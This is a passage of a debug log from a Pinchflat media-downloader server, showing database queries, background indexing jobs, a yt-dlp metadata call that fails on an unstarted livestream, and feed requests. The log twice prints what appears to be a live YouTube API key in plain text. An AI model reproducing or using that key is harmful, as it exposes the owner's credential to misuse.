"o_zc6xASQpo", "pwCuzh_HxH8", "KovIZ07Dyx0", "JlQ_djYS0Dg", "1ufoYAQIhu4", "CctFxxf5ApY", "3cZZg1F4RCM", "MxIotxKBjVs", "6HPf_fvPOo4", "TlMHxNDd1X0", "M6yt1wfLvDM", "Mlh6NXtaT_o", "EQMJhxyBsBo", "u9JLKYF71jE", "Npy2CUZZUng", "c1Q3m4x1bJc", "RCFsP8-KGbA", "I1UB7k60dAU", "0p_LmbcqEV4", "8rWtLqyQm6E", "ApwhFXN8bJ8", "3NPHV-X_HvY", "cu0_ZEIT5YU", "nUl4MdDnl1s", "T8TCN0aYs2s", "hgWUxQUlvKs", "mmRqMuMx5VE", "TyKtFYzJBbg", "6vmTf1PEcF8", "GlJaxmUGwr8", "u78CMLm10fU", "vCqX0ZkoPMU", "U4f0LqqYqNU", "S1vsk6Liubo", "c-H0zyWubLc", "WzdR8f2LzwM", "FhV_flNpQOs", "826O9YGrGCg", "i0SCgfej3w0", "w3QlyvY600Q", "O2hSlsvB8nA", ...] 16:57:52.091 [debug] QUERY OK source="media_items" db=3.5ms idle=101.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 16:57:52.093 [debug] QUERY OK source="tasks" db=0.4ms idle=2.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800113, 5, ~U[2026-02-10 22:57:52Z], ~U[2026-02-10 22:57:52Z]] 16:57:52.094 [info] {"args":{"id":5},"id":3800074,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":108272,"event":"job:stop","queue_time":584424,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:56.991 [info] {"args":{"id":1},"id":3800075,"meta":{},"system_time":1770764276991885091,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:56.992 [debug] QUERY OK source="sources" db=0.1ms idle=1113.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:57:56.992 [debug] QUERY OK source="settings" db=0.0ms idle=1114.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:56.992 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:56.992 [debug] QUERY OK source="settings" db=0.1ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:56.992 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 16:57:56.992 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:56.993 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:57.084 [debug] QUERY OK source="media_items" db=0.6ms idle=90.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "aXZ-NfMu60Q", "RTZlj4mmpNE", "o4e-Kt02rfc", "sRUupu5iudw", "9bLNw6Zb_SQ", "4gqNRGucp50", "FFtr2vNwDNU", "cnNucwTyy8w", "pRLn1pingDM", "xKIFCdPHeJU", "hxc8RgchpBs", "OT_iyvOy0Tk", "4Ps-JDyimJw", "2I9Qk0sB68o", "2psXxetNpoo", "u8Xyx2L4Nlg", "GODPh96F0M0", "sPU6wVz2iE8", "KeLmi62DmjU", "eNb55ZwnCRc", "wZZf6LM3wAU", "wcI-lqMwNSY", "omCWNO7Jbnw", "qklfd81ceeY", "VJqMPFNP4to", "-nTm_xZY3o4", "Px117so_Mww", "QFtCeGjKOxU", "Mo-0nz6Mlig", "iBt1TLBFTRs", "pdM3d0DRY8U", "bG68OBQ3x9Y", "MJr40qys1g0", "FV8iLYP54XQ", "rmiB2NnXgPU", "9rnjawJ_QDc", "ckiGgyCB88U", "URCnFcSypKc", "wFbjoKV876M", "hLnPciB8cGs", "433kipkEERY", "2P2G4b8V2Eg", "IJWvYvCJ0os", "iRvyRo5Fk0o", "oznSYLMrSt4", "3yO0m8X0xn4", "KyoXLbfpZfg", "GLGK0GKexds", "i_cIhvzoKEM", ...] 16:57:57.094 [debug] QUERY OK source="media_items" db=9.4ms idle=92.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:57:57.112 [debug] QUERY OK source="tasks" db=0.9ms idle=1.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800114, 1, ~U[2026-02-10 22:57:57Z], ~U[2026-02-10 22:57:57Z]] 16:57:57.112 [info] {"args":{"id":1},"id":3800075,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":120228,"event":"job:stop","queue_time":558690,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:58.800 [info] {"source":"oban","duration":10449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.048 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:58:28.812 [info] {"source":"oban","duration":10357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:58.820 [info] {"source":"oban","duration":7851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:00.049 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:59:28.832 [info] {"source":"oban","duration":11293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:58.843 [info] {"source":"oban","duration":10333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:00.050 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:00:28.851 [info] {"source":"oban","duration":7551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:42.164 [info] {"args":{"id":37},"id":3800076,"meta":{},"system_time":1770764442164484764,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:00:42.165 [debug] QUERY OK source="sources" db=0.8ms idle=286.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 17:00:42.166 [debug] QUERY OK source="settings" db=0.8ms idle=287.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:42.166 [debug] QUERY OK source="media_profiles" db=0.1ms idle=288.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:00:42.167 [debug] QUERY OK source="settings" db=0.8ms idle=8.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:42.167 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 17:00:42.167 [debug] QUERY OK source="settings" db=0.0ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:42.167 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:00:42.274 [debug] QUERY OK source="media_items" db=0.6ms idle=108.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "ZempW3DeiHc", "K5YEoWYl75s", "EcPzDxji3SE", "hI90sPvV0C0", "o4Y-u-_8VsU", "VZLpFA3HIM8", "8MK5FLwpfqc", "n6awTDNkxvA", "hhm0nu3Ep5s", "nZyEptt3pdk", "scmdr8dVddQ", "Ri0KylA5D2c", "fIPdFsMu0HY", "j3s_4Mnl55Y", "BfHhAubdTSM", "Ts33nJu9pLo", "1MsM7pFS2og", "tUER2cEjTSU", "zl2h07mHIH0", "Pm8AeE5wRHg", "3K5jPjdV_BU", "tInJ45Gr6nE", "sNypPfHbnkw", "Qror46CYz_8", "cJt-0XogsL4", "QdpY9eQXXlc", "89w5_-zcexo", "sXrVvwFJpfo", "26Yd2Wma-HI", "VNAKa-7-1xQ", "4U5QrFcHibU", "qtILvKKg4Yo", "J1lEA9Tef44", "TCk8j-4etKk", "tARk9xBflxo", "Sn88ZdL1pnM", "V0skKmeOIiU", "czAdrqvhvBM", "Na2eWpXkGWo", "h4-WqlqeDjc", "Nig4e3UZ0Ak", "R79HCCLJkig", "iOAl0xuNyQ8", "U7W1KL0xHrw", "JXIH6G9b0Mw", "4VAoSHYbFe8", "rX66ykNnlLE", "tubBaYmpqQs", "bc6s9Nn73FI", ...] 17:00:42.275 [debug] QUERY OK source="settings" db=0.0ms idle=108.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:42.275 [debug] QUERY OK source="settings" db=0.0ms idle=108.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:42.275 [debug] Running yt-dlp command for action: get_media_attributes 17:00:42.277 [debug] QUERY OK source="settings" db=0.0ms idle=109.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:42.277 [debug] QUERY OK source="settings" db=0.0ms idle=109.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:42.277 [debug] QUERY OK source="settings" db=0.0ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:42.277 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c0/4d/c04d4cf369c85f4c896af67bbfd80c71dab5eadedd2afdbd2d6e36098ccd9892.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:00:43.506 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c0/4d/c04d4cf369c85f4c896af67bbfd80c71dab5eadedd2afdbd2d6e36098ccd9892.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] n6awTDNkxvA: This live event will begin in 16 hours. 17:00:43.506 [error] Error creating media item 'n6awTDNkxvA' from URL: {:error, "ERROR: [youtube] n6awTDNkxvA: This live event will begin in 16 hours.\n", 1} 17:00:43.508 [debug] QUERY OK source="media_items" db=1.1ms idle=1231.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 17:00:43.509 [debug] QUERY OK source="tasks" db=0.1ms idle=350.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800115, 37, ~U[2026-02-10 23:00:43Z], ~U[2026-02-10 23:00:43Z]] 17:00:43.510 [info] {"args":{"id":37},"id":3800076,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1345540,"event":"job:stop","queue_time":6435,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:00:58.862 [info] {"source":"oban","duration":9873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.051 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:01:10.817 [info] GET /sources/d8c11d05-824d-4284-b36d-fabb788a0b82/feed.xml 17:01:10.817 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "d8c11d05-824d-4284-b36d-fabb788a0b82"} Pipelines: [:maybe_basic_auth] 17:01:10.818 [debug] QUERY OK source="sources" db=0.1ms idle=1939.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["d8c11d05-824d-4284-b36d-fabb788a0b82"] 17:01:10.820 [debug] QUERY OK source="media_items" db=2.3ms idle=1633.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [5, 2000] 17:01:10.821 [debug] QUERY OK source="source_metadata" db=0.0ms idle=942.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [5] 17:01:10.821 [debug] QUERY OK source="media_metadata" db=0.0ms idle=943.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564175] 17:01:10.821 [info] Sent 200 in 3ms 17:01:28.871 [info] {"source":"oban","duration":7823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:53.337 [info] GET /sources/37/media/1564182 17:01:53.337 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1564182", "source_id" => "37"} Pipelines: [:browser] 17:01:53.338 [debug] QUERY OK source="media_items" db=0.1ms idle=1459.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564182] 17:01:53.338 [debug] QUERY OK source="tasks" db=0.1ms idle=1460.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1564182] 17:01:53.338 [debug] QUERY OK source="sources" db=0.2ms idle=1460.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 17:01:53.338 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=1111.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3799488] 17:01:53.339 [debug] QUERY OK source="settings" db=0.0ms idle=110.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:53.339 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:53.339 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:53.339 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", 